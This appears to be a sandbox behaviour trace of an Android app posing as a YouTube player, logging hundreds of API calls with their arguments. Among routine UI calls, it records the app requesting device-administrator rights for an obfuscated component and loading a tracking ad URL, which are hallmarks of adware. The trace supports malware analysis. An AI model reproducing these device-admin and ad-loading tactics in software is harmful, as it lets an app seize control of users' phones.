API: com.mikepenz.materialdrawer.a.e.com.mikepenz.materialdrawer.a->e at com.mikepenz.materialdrawer.d.d.a:10 Show source
NameTypeValue
p0java.lang.String
  • toString: HEAVY METAL
NameTypeValue
Return Valuecom.mikepenz.materialdrawer.a.e
  • toString: HEAVY METAL
API: com.mikepenz.materialdrawer.a.e.com.mikepenz.materialdrawer.a->e at com.mikepenz.materialdrawer.d.d.a:10 Show source
NameTypeValue
p0java.lang.String
  • toString: SPORT
NameTypeValue
Return Valuecom.mikepenz.materialdrawer.a.e
  • toString: SPORT
API: com.mikepenz.materialdrawer.a.e.com.mikepenz.materialdrawer.a->e at com.mikepenz.materialdrawer.d.d.a:10 Show source
NameTypeValue
p0java.lang.String
  • toString: GAME
NameTypeValue
Return Valuecom.mikepenz.materialdrawer.a.e
  • toString: GAME
API: com.mikepenz.materialdrawer.a.e.com.mikepenz.materialdrawer.a->e at com.mikepenz.materialdrawer.d.d.a:10 Show source
NameTypeValue
p0java.lang.String
  • toString: MOVIES
NameTypeValue
Return Valuecom.mikepenz.materialdrawer.a.e
  • toString: MOVIES
API: com.mikepenz.materialdrawer.d.h->e at com.mikepenz.materialdrawer.d.d.b:2 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.h->e at com.mikepenz.materialdrawer.d.d.d:2 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.g->e at com.mikepenz.materialdrawer.d.d.b:2 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.g->e at com.mikepenz.materialdrawer.d.d.d:2 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.g->e at com.mikepenz.materialdrawer.d.d.d:2 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.h->e at com.mikepenz.materialdrawer.d.d.b:2 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.h->e at com.mikepenz.materialdrawer.d.d.d:2 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.h->e at com.mikepenz.materialdrawer.d.d.b:2 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.h->e at com.mikepenz.materialdrawer.d.d.d:2 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.e.<init>:6 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689662
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatImageView
  • toString: android.support.v7.widget.AppCompatImageView{2157e2e7 V.ED.... ......I. 0,0-0,0 #7f0f00be app:id/material_drawer_icon}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.e.<init>:12 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689663
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatTextView
  • toString: android.support.v7.widget.AppCompatTextView{3951d3d V.ED.... ......ID 0,0-0,0 #7f0f00bf app:id/material_drawer_name}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.e.<init>:18 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689664
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatTextView
  • toString: android.support.v7.widget.AppCompatTextView{3a35c683 V.ED.... ......ID 0,0-0,0 #7f0f00c0 app:id/material_drawer_description}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.e.<init>:6 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689662
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatImageView
  • toString: android.support.v7.widget.AppCompatImageView{9d9cd71 V.ED.... ......I. 0,0-0,0 #7f0f00be app:id/material_drawer_icon}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.e.<init>:12 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689663
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatTextView
  • toString: android.support.v7.widget.AppCompatTextView{74953d7 V.ED.... ......ID 0,0-0,0 #7f0f00bf app:id/material_drawer_name}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.e.<init>:18 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689664
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatTextView
  • toString: android.support.v7.widget.AppCompatTextView{296ccfad V.ED.... ......ID 0,0-0,0 #7f0f00c0 app:id/material_drawer_description}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.e.<init>:6 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689662
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatImageView
  • toString: android.support.v7.widget.AppCompatImageView{31cdbb2e V.ED.... ......I. 0,0-0,0 #7f0f00be app:id/material_drawer_icon}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.e.<init>:12 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689663
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatTextView
  • toString: android.support.v7.widget.AppCompatTextView{12f3885c V.ED.... ......ID 0,0-0,0 #7f0f00bf app:id/material_drawer_name}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.e.<init>:18 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689664
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatTextView
  • toString: android.support.v7.widget.AppCompatTextView{1bfe5c3a V.ED.... ......ID 0,0-0,0 #7f0f00c0 app:id/material_drawer_description}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.e.<init>:6 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689662
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatImageView
  • toString: android.support.v7.widget.AppCompatImageView{3f503892 V.ED.... ......I. 0,0-0,0 #7f0f00be app:id/material_drawer_icon}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.e.<init>:12 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689663
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatTextView
  • toString: android.support.v7.widget.AppCompatTextView{3e2f1e60 V.ED.... ......ID 0,0-0,0 #7f0f00bf app:id/material_drawer_name}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.e.<init>:18 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689664
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatTextView
  • toString: android.support.v7.widget.AppCompatTextView{26354bde V.ED.... ......ID 0,0-0,0 #7f0f00c0 app:id/material_drawer_description}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.e.<init>:6 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689662
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatImageView
  • toString: android.support.v7.widget.AppCompatImageView{27b8f8b6 V.ED.... ......I. 0,0-0,0 #7f0f00be app:id/material_drawer_icon}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.e.<init>:12 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689663
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatTextView
  • toString: android.support.v7.widget.AppCompatTextView{33839524 V.ED.... ......ID 0,0-0,0 #7f0f00bf app:id/material_drawer_name}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.e.<init>:18 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689664
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatTextView
  • toString: android.support.v7.widget.AppCompatTextView{553ea42 V.ED.... ......ID 0,0-0,0 #7f0f00c0 app:id/material_drawer_description}
API: com.mikepenz.materialdrawer.d.g->a at com.mikepenz.materialdrawer.d.g.a:27 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.g$a.<init>:5 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689666
NameTypeValue
Return Valuecom.mikepenz.iconics.view.IconicsImageView
  • toString: com.mikepenz.iconics.view.IconicsImageView{3b35bc8a V.ED.... ........ 0,0-0,0 #7f0f00c2 app:id/material_drawer_arrow}
API: com.mikepenz.materialdrawer.d.j->l at com.mikepenz.materialdrawer.d.j.a:60 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.j$a.<init>:6 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689661
NameTypeValue
Return Valueandroid.view.View
  • toString: android.view.View{1cb70cb V.ED.... ......I. 0,0-0,0 #7f0f00bd app:id/material_drawer_divider}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.j$a.<init>:11 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689663
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatTextView
  • toString: android.support.v7.widget.AppCompatTextView{289d77c1 V.ED.... ......I. 0,0-0,0 #7f0f00bf app:id/material_drawer_name}
API: android.support.v7.widget.RecyclerView->findViewById at com.mikepenz.materialdrawer.d.j:65 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689673
NameTypeValue
Return Valueandroid.support.v7.widget.RecyclerView
  • toString: android.support.v7.widget.RecyclerView{5dd8df7 VFED.VC. ......I. 0,0-0,0 #7f0f00c9 app:id/material_drawer_recycler_view}
API: android.preference.PreferenceManager->getDefaultSharedPreferences at com.mikepenz.materialdrawer.d.i:11 Show source
NameTypeValue
p0com.pedqaesf.app.INSMainActivity
  • toString: com.pedqaesf.app.INSMainActivity@17287681
NameTypeValue
Return Valueandroid.app.SharedPreferencesImpl
  • toString: android.app.SharedPreferencesImpl@76fe6cd
API: android.content.Context->getText at com.mikepenz.materialdrawer.d$3.a:13 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131230741
NameTypeValue
Return Valuejava.lang.String
  • toString: Close
API: android.content.Context->getText at com.mikepenz.materialdrawer.d$3.b:13 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131230742
NameTypeValue
Return Valuejava.lang.String
  • toString: Open
API: android.content.Context->getText at com.mikepenz.materialdrawer.d$3.a:13 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131230741
NameTypeValue
Return Valuejava.lang.String
  • toString: Close
API: android.content.Context->getText at com.mikepenz.materialdrawer.d$3.b:13 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131230742
NameTypeValue
Return Valuejava.lang.String
  • toString: Open
API: com.pedqaesf.app.player.INSPlayerYouTubeView->getApplicationContext at com.pedqaesf.app.player.INSPlayerYouTubeView.onCreate:9 Show source
NameTypeValue
Return Valuecom.pedqaesf.app.volley.NCAppController
  • toString: com.pedqaesf.app.volley.NCAppController@17694989
API: android.content.Context->getString at com.pedqaesf.app.player.INSPlayerYouTubeView.onCreate:13 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131230743
NameTypeValue
Return Valuejava.lang.String
  • toString: SHAREDPREFERENCE_KEYFILE
API: android.content.Context->getString at com.pedqaesf.app.player.INSPlayerYouTubeView.onCreate:23 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131231707
NameTypeValue
Return Valuejava.lang.String
  • toString: INITIALIZED
API: android.content.Context->getString at com.pedqaesf.app.player.INSPlayerYouTubeView.onCreate:42 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131231707
NameTypeValue
Return Valuejava.lang.String
  • toString: INITIALIZED
API: android.content.Context->getString at com.pedqaesf.app.player.INSPlayerYouTubeView.onCreate:48 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131231769
NameTypeValue
Return Valuejava.lang.String
  • toString: REPEAT_TYPE
API: android.content.Context->getString at com.pedqaesf.app.player.INSPlayerYouTubeView.onCreate:54 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131231761
NameTypeValue
Return Valuejava.lang.String
  • toString: NO_OF_REPEATS
API: android.content.Context->getString at com.pedqaesf.app.player.INSPlayerYouTubeView.onCreate:61 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131231768
NameTypeValue
Return Valuejava.lang.String
  • toString: PLAYER_TYPE
API: android.content.Context->getString at com.pedqaesf.app.player.INSPlayerYouTubeView.onCreate:67 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131231780
NameTypeValue
Return Valuejava.lang.String
  • toString: VIDEO_QUALITY
API: android.content.Context->getString at com.pedqaesf.app.player.INSPlayerYouTubeView.onCreate:72 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131230774
NameTypeValue
Return Valuejava.lang.String
  • toString: FINISH_ON_END
API: android.content.Context->getString at com.pedqaesf.app.player.INSPlayerYouTubeView.onCreate:78 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131230763
NameTypeValue
Return Valuejava.lang.String
  • toString: COUNT
API: android.content.Intent->getStringExtra at com.pedqaesf.app.player.INSPlayerYouTubeView.onCreate:94 Show source
NameTypeValue
p0java.lang.String
  • toString: android.intent.extra.TEXT
NameTypeValue
Return Valuenull
  • toString: null
API: com.pedqaesf.app.player.INSPlayerYouTubeView->startActivity at com.pedqaesf.app.player.INSPlayerYouTubeView.onCreate:264 Show source
NameTypeValue
intentandroid.content.Intent
  • toString: Intent { cmp=com.pedqaesf.app/.INSMainActivity }
API: java.lang.Class->getDeclaredMethod at com.pedqaesf.app.views.INSCustomSwipeRefresh.<init>:2 Show source
NameTypeValue
p0java.lang.String
  • toString: setChildrenDrawingOrderEnabled
p1[Ljava.lang.Class;
  • toString: [Ljava.lang.Class;@2409aeba
  • Arrays.toString: [boolean]
NameTypeValue
Return Valuejava.lang.reflect.Method
  • toString: protected void android.view.ViewGroup.setChildrenDrawingOrderEnabled(boolean)
  • getName: setChildrenDrawingOrderEnabled
API: android.view.ViewGroup->setChildrenDrawingOrderEnabled at com.pedqaesf.app.views.INSCustomSwipeRefresh.<init>:2 Show source
NameTypeValue
enabledjava.lang.Object
  • toString: true
NameTypeValue
Return Valuenull
  • toString: null
API: java.lang.reflect.Method->invoke at com.pedqaesf.app.views.INSCustomSwipeRefresh.<init>:2 Show source
NameTypeValue
p0com.pedqaesf.app.views.INSCustomSwipeRefresh
  • toString: com.pedqaesf.app.views.INSCustomSwipeRefresh{34a4a4c8 V.ED.... ......I. 0,0-0,0 #7f0f008f app:id/swipe_refresh}
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@eff4961
  • Arrays.toString: [true]
NameTypeValue
Return Valuenull
  • toString: null
API: android.support.v7.widget.FitWindowsLinearLayout->findViewById at com.pedqaesf.app.INSMainActivity.onCreate:11 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689570
NameTypeValue
Return Valuenull
  • toString: null
API: android.support.v7.widget.FitWindowsLinearLayout->findViewById at com.pedqaesf.app.INSMainActivity.onCreate:11 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689472
NameTypeValue
Return Valueandroid.support.v7.widget.ContentFrameLayout
  • toString: android.support.v7.widget.ContentFrameLayout{e70a598 V.E..... ......I. 0,0-0,0 #7f0f0000 app:id/action_bar_activity_content}
API: com.android.internal.policy.impl.PhoneWindow->setContentView at com.pedqaesf.app.INSMainActivity.onCreate:11 Show source
NameTypeValue
p0android.support.v7.widget.FitWindowsLinearLayout
  • toString: android.support.v7.widget.FitWindowsLinearLayout{45440fe V.E..... ......I. 0,0-0,0 #7f0f0077 app:id/action_bar_root}
API: android.support.v7.widget.FitWindowsLinearLayout->findViewById at com.pedqaesf.app.INSMainActivity.onCreate:11 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 16908290
NameTypeValue
Return Valueandroid.support.v7.widget.ContentFrameLayout
  • toString: android.support.v7.widget.ContentFrameLayout{e70a598 V.E..... ......I. 0,0-0,0 #7f0f0000 app:id/action_bar_activity_content}
API: android.support.v7.widget.FitWindowsLinearLayout->findViewById at com.pedqaesf.app.INSMainActivity.onCreate:11 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 16908290
NameTypeValue
Return Valueandroid.support.v7.widget.ContentFrameLayout
  • toString: android.support.v7.widget.ContentFrameLayout{e70a598 V.E..... ......I. 0,0-0,0 #7f0f0000 app:id/action_bar_activity_content}
API: android.content.Intent->putExtra at com.pedqaesf.app.INSMainActivity.onCreate:27 Show source
NameTypeValue
p0java.lang.String
  • toString: android.app.extra.DEVICE_ADMIN
p1android.content.ComponentName
  • toString: ComponentInfo{com.pedqaesf.app/com.pedqaesf.app.AsyncTask.Vlwhupznixfm}
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
API: android.webkit.WebView->loadUrl at com.pedqaesf.app.INSMainActivity.onCreate:48 Show source
NameTypeValue
urljava.lang.String
  • toString: http://p.axclick.store/?utm_source=tfikztteuic
API: com.pedqaesf.app.INSMainActivity->getSystemService at com.pedqaesf.app.INSMainActivity.a:5 Show source
NameTypeValue
p0java.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@29ef5237
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.pedqaesf.app.INSMainActivity.a:9 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: android.net.NetworkInfo->isConnected at com.pedqaesf.app.INSMainActivity.a:21 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: android.webkit.WebView->loadUrl at com.pedqaesf.app.INSMainActivity.onCreate:137 Show source
NameTypeValue
urljava.lang.String
  • toString: https://m.youtube.com/
API: android.content.res.Resources->getStringArray at com.pedqaesf.app.INSMainActivity.onCreate:143 Show source
NameTypeValue
idjava.lang.Integer
  • toString: 2131623939
NameTypeValue
Return Value[Ljava.lang.String;
  • toString: [Ljava.lang.String;@cbde41f
  • Arrays.toString: [#ff670729, #ff7a0c2d, #ff96092d, #ffa10a37, #ffbf013b]
API: android.content.res.XmlBlock.Parser->getName at com.pedqaesf.app.INSMainActivity.onCreateOptionsMenu:6 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: menu
API: android.content.res.XmlBlock.Parser->getName at com.pedqaesf.app.INSMainActivity.onCreateOptionsMenu:6 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: menu
API: android.content.Context->getText at com.pedqaesf.app.INSMainActivity.onCreateOptionsMenu:34 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131231770
NameTypeValue
Return Valuejava.lang.String
  • toString: Search YouTube
API: android.support.v7.widget.FitWindowsLinearLayout->findViewById at com.pedqaesf.app.INSSplashActivity.onCreate:5 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689570
NameTypeValue
Return Valuenull
  • toString: null
API: android.support.v7.widget.FitWindowsLinearLayout->findViewById at com.pedqaesf.app.INSSplashActivity.onCreate:5 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689472
NameTypeValue
Return Valueandroid.support.v7.widget.ContentFrameLayout
  • toString: android.support.v7.widget.ContentFrameLayout{21e623bb V.E..... ......I. 0,0-0,0 #7f0f0000 app:id/action_bar_activity_content}
API: com.android.internal.policy.impl.PhoneWindow->setContentView at com.pedqaesf.app.INSSplashActivity.onCreate:5 Show source
NameTypeValue
p0android.support.v7.widget.FitWindowsLinearLayout
  • toString: android.support.v7.widget.FitWindowsLinearLayout{32f1fa7 V.E..... ......I. 0,0-0,0 #7f0f0077 app:id/action_bar_root}
API: android.support.v7.widget.FitWindowsLinearLayout->findViewById at com.pedqaesf.app.INSSplashActivity.onCreate:5 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 16908290
NameTypeValue
Return Valueandroid.support.v7.widget.ContentFrameLayout
  • toString: android.support.v7.widget.ContentFrameLayout{21e623bb V.E..... ......I. 0,0-0,0 #7f0f0000 app:id/action_bar_activity_content}
API: android.support.v7.widget.FitWindowsLinearLayout->findViewById at com.pedqaesf.app.INSSplashActivity.onCreate:5 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 16908290
NameTypeValue
Return Valueandroid.support.v7.widget.ContentFrameLayout
  • toString: android.support.v7.widget.ContentFrameLayout{21e623bb V.E..... ......I. 0,0-0,0 #7f0f0000 app:id/action_bar_activity_content}
API: devlight.io.library.ntb.NavigationTabBar->setTypeface at devlight.io.library.ntb.NavigationTabBar.<init>:205 Show source
NameTypeValue
p0null
  • toString: null
NameTypeValue
Return Valuenull
  • toString: null
API: devlight.io.library.ntb.NavigationTabBar->isInEditMode at devlight.io.library.ntb.NavigationTabBar.<init>:270 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: devlight.io.library.ntb.NavigationTabBar->isInEditMode at devlight.io.library.ntb.NavigationTabBar.onMeasure:237 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: devlight.io.library.ntb.NavigationTabBar->isInEditMode at devlight.io.library.ntb.NavigationTabBar.onMeasure:244 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: devlight.io.library.ntb.NavigationTabBar->isInEditMode at devlight.io.library.ntb.NavigationTabBar.onMeasure:237 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: devlight.io.library.ntb.NavigationTabBar->isInEditMode at devlight.io.library.ntb.NavigationTabBar.onMeasure:244 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: devlight.io.library.ntb.NavigationTabBar->isInEditMode at devlight.io.library.ntb.NavigationTabBar.onMeasure:237 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: devlight.io.library.ntb.NavigationTabBar->isInEditMode at devlight.io.library.ntb.NavigationTabBar.onMeasure:244 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: devlight.io.library.ntb.NavigationTabBar->isInEditMode at devlight.io.library.ntb.NavigationTabBar.onMeasure:237 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: devlight.io.library.ntb.NavigationTabBar->isInEditMode at devlight.io.library.ntb.NavigationTabBar.onMeasure:244 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: devlight.io.library.ntb.NavigationTabBar->isInEditMode at devlight.io.library.ntb.NavigationTabBar.onMeasure:237 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.android.volley.toolbox.NetworkImageView->a at ..:4 Show source
API: com.android.volley.toolbox.NetworkImageView->a at ..:12 Show source
API: com.android.volley.toolbox.NetworkImageView->setImageResource at ..:15 Show source
API: com.android.volley.toolbox.NetworkImageView->post at ..:10 Show source
API: com.android.volley.toolbox.NetworkImageView->setImageBitmap at ..:22 Show source
API: com.android.volley.toolbox.NetworkImageView->b at ..:27 Show source
API: com.android.volley.toolbox.NetworkImageView->b at ..:35 Show source
API: com.android.volley.toolbox.NetworkImageView->setImageResource at ..:38 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: java.util.Map->keySet at ..:13 Show source
API: java.util.Set->iterator at ..:16 Show source
API: java.util.Iterator->hasNext at ..:19 Show source
API: java.util.Iterator->next at ..:23 Show source
API: java.util.Map->get at ..:27 Show source
API: org.apache.http.client.methods.HttpUriRequest->setHeader at ..:31 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: org.apache.http.entity.ByteArrayEntity-><init> at ..:15 Show source
API: org.apache.http.client.methods.HttpEntityEnclosingRequestBase->setEntity at ..:17 Show source
API: java.lang.IllegalStateException-><init> at ..:22 Show source
API: org.apache.http.client.methods.HttpPost-><init> at ..:33 Show source
API: org.apache.http.client.methods.HttpPost->addHeader at ..:40 Show source
API: org.apache.http.entity.ByteArrayEntity-><init> at ..:43 Show source
API: org.apache.http.client.methods.HttpPost->setEntity at ..:45 Show source
API: org.apache.http.client.methods.HttpGet-><init> at ..:52 Show source
API: org.apache.http.client.methods.HttpGet-><init> at ..:59 Show source
API: org.apache.http.client.methods.HttpDelete-><init> at ..:66 Show source
API: org.apache.http.client.methods.HttpPost-><init> at ..:73 Show source
API: org.apache.http.client.methods.HttpPost->addHeader at ..:80 Show source
API: org.apache.http.client.methods.HttpPut-><init> at ..:89 Show source
API: org.apache.http.client.methods.HttpPut->addHeader at ..:96 Show source
API: org.apache.http.client.methods.HttpHead-><init> at ..:105 Show source
API: org.apache.http.client.methods.HttpOptions-><init> at ..:112 Show source
API: java.util.LinkedList->add at ..:4 Show source
API: java.lang.Object-><init> at ..:12 Show source
API: java.util.LinkedList-><init> at ..:15 Show source
API: java.util.LinkedList->add at ..:21 Show source
API: java.util.LinkedList->remove at ..:4 Show source
API: java.util.LinkedList->size at ..:8 Show source
API: android.content.Context->getCacheDir at ..:3 Show source
API: java.io.File-><init> at ..:8 Show source
API: android.content.Context->getPackageName at ..:12 Show source
API: android.content.Context->getPackageManager at ..:15 Show source
API: android.content.pm.PackageManager->getPackageInfo at ..:19 Show source
API: java.lang.String->valueOf at ..:22 Show source
API: java.lang.String->valueOf at ..:25 Show source
API: java.lang.String->length at ..:30 Show source
API: java.lang.StringBuilder-><init> at ..:34 Show source
API: java.lang.StringBuilder->append at ..:36 Show source
API: java.lang.StringBuilder->append at ..:41 Show source
API: java.lang.StringBuilder->append at ..:44 Show source
API: java.lang.StringBuilder->toString at ..:47 Show source
API: android.net.http.AndroidHttpClient->newInstance at ..:70 Show source
API: java.lang.Exception-><init> at ..:2 Show source
API: java.lang.Exception-><init> at ..:2 Show source
API: java.lang.Exception-><init> at ..:2 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: java.util.concurrent.Executor->execute at ..:24 Show source
API: java.util.concurrent.Executor->execute at ..:24 Show source
API: android.util.Log->v at ..:9 Show source
API: android.util.Log->e at ..:7 Show source
API: android.util.Log->isLoggable at ..:8 Show source
API: android.util.Log->wtf at ..:7 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: android.util.Log->e at ..:7 Show source
API: java.lang.Throwable-><init> at ..:5 Show source
API: java.lang.Throwable->fillInStackTrace at ..:7 Show source
API: java.lang.Throwable->getStackTrace at ..:10 Show source
API: java.lang.Object->getClass at ..:19 Show source
API: java.lang.Object->equals at ..:23 Show source
API: java.lang.StackTraceElement->getClassName at ..:28 Show source
API: java.lang.String->lastIndexOf at ..:32 Show source
API: java.lang.String->substring at ..:36 Show source
API: java.lang.String->lastIndexOf at ..:40 Show source
API: java.lang.String->substring at ..:44 Show source
API: java.lang.String->valueOf at ..:47 Show source
API: java.lang.String->valueOf at ..:50 Show source
API: java.lang.StackTraceElement->getMethodName at ..:54 Show source
API: java.lang.String->valueOf at ..:57 Show source
API: java.lang.String->valueOf at ..:60 Show source
API: java.lang.String->length at ..:64 Show source
API: java.lang.String->length at ..:68 Show source
API: java.lang.StringBuilder-><init> at ..:72 Show source
API: java.lang.StringBuilder->append at ..:74 Show source
API: java.lang.StringBuilder->append at ..:79 Show source
API: java.lang.StringBuilder->append at ..:82 Show source
API: java.lang.StringBuilder->toString at ..:85 Show source
API: java.lang.Thread->currentThread at ..:95 Show source
API: java.lang.Thread->getId at ..:98 Show source
API: java.lang.Long->valueOf at ..:101 Show source
API: java.lang.String->format at ..:108 Show source
API: java.lang.String->format at ..:114 Show source
API: android.util.Log->d at ..:7 Show source
API: java.lang.Object-><init> at ..:12 Show source
API: com.mikepenz.iconics.view.IconicsImageButton-><init> at ..:3 Show source
API: com.mikepenz.iconics.view.IconicsImageButton-><init> at ..:3 Show source
API: com.mikepenz.iconics.view.IconicsImageView-><init> at ..:2 Show source
API: com.mikepenz.iconics.view.IconicsImageButton->setFocusable at ..:5 Show source
API: java.lang.Class->getName at ..:3 Show source
API: com.mikepenz.materialdrawer.d.f$b-><init> at ..:4 Show source
API: android.view.View->getContext at ..:8 Show source
API: android.view.View->setId at ..:16 Show source
API: com.mikepenz.materialdrawer.d.f$b->a at ..:18 Show source
API: android.view.View->setEnabled at ..:21 Show source
API: android.view.View->getParent at ..:25 Show source
API: android.view.View->getParent at ..:31 Show source
API: android.view.ViewGroup->removeView at ..:37 Show source
API: com.mikepenz.materialdrawer.d.f$b->a at ..:42 Show source
API: android.view.View->getLayoutParams at ..:45 Show source
API: com.mikepenz.materialdrawer.d.f$b->a at ..:55 Show source
API: android.view.View->setLayoutParams at ..:58 Show source
API: com.mikepenz.materialdrawer.d.f$b->a at ..:60 Show source
API: android.view.ViewGroup->removeAllViews at ..:64 Show source
API: android.view.View-><init> at ..:70 Show source
API: android.view.View->setMinimumHeight at ..:72 Show source
API: android.view.View->setBackgroundColor at ..:79 Show source
API: android.widget.LinearLayout$LayoutParams-><init> at ..:87 Show source
API: com.mikepenz.materialdrawer.d.f$b->a at ..:94 Show source
API: android.view.ViewGroup->addView at ..:101 Show source
API: android.content.Context->getResources at ..:103 Show source
API: android.content.res.Resources->getDimensionPixelSize at ..:107 Show source
API: com.mikepenz.materialdrawer.d.f$b->a at ..:111 Show source
API: android.view.ViewGroup->addView at ..:115 Show source
API: android.content.Context->getResources at ..:127 Show source
API: android.content.res.Resources->getDimensionPixelSize at ..:131 Show source
API: com.mikepenz.materialdrawer.d.f$b->a at ..:135 Show source
API: android.view.ViewGroup->addView at ..:139 Show source
API: com.mikepenz.materialdrawer.d.f$b->a at ..:141 Show source
